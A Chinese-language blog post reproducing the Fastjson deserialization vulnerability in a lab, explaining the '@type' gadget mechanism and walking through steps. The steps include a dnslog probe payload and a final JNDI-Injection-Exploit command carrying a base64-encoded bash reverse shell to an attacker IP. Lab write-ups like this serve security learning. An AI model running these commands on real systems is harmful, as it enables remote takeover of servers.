FASTJSON反序列化(靶场复现)

最新推荐文章于 2024-08-01 20:08:11 发布

wudidaniuniu

最新推荐文章于 2024-08-01 20:08:11 发布

阅读量647

点赞数 1

文章标签： web安全网络安全笔记经验分享

本文链接：https://blog.csdn.net/m0_66376444/article/details/129982126

版权

文章介绍了Fastjson在1.2.48以前版本中的反序列化漏洞，攻击者能构造特殊JSON字符串绕过白名单执行任意命令。漏洞主要由于Fastjson的反序列化机制和反射使用。文中还详细阐述了漏洞复现步骤，包括构造payload，利用JNDI-Injection-Exploit工具开启LDAP、HTTP服务，以及如何通过KaliLinux获取shell。

摘要由CSDN通过智能技术生成

一、漏洞信息
1、fastjson介绍：
Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。

2、漏洞原理：
Fastjson反序列化漏洞被利用的原因，可以归结为两方面：
①Fastjson提供了反序列化功能，允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名;
②Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象，并自动调用该对象的setter方法及部分getter方法。

攻击者可以构造恶意请求，使目标应用的代码执行流程进入这部分特定setter或getter方法，若上述方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”)，则会造成一些严重的安全问题。官方采用了黑名单方式对反序列化类名校验，但随着时间的推移及自动化漏洞挖掘能力的提升。新Gadget会不断涌现，黑名单这种治标不治本的方式只会导致不断被绕过，从而对使用该组件的用户带来不断升级版本的困扰。
二、漏洞复现
1.获取子域

2.构造payload

payload：ldap://nddkbc.dnslog.cn

3.在DNSlog网站点击刷新记录，既可以发现一条DNS查询的记录（这里可能存在一些延迟，需要一些时间等待）。发现存在记录的话，就说明存在fastjson反序列化

4.使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具开启LDAP、HTTP服务。这里-A参数是开启LDAP、HTTP服务的ip地址。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zMy82NjY2IDA+JjEK}|{base64,-d}|{bash,-i}' -A 10.10.16.33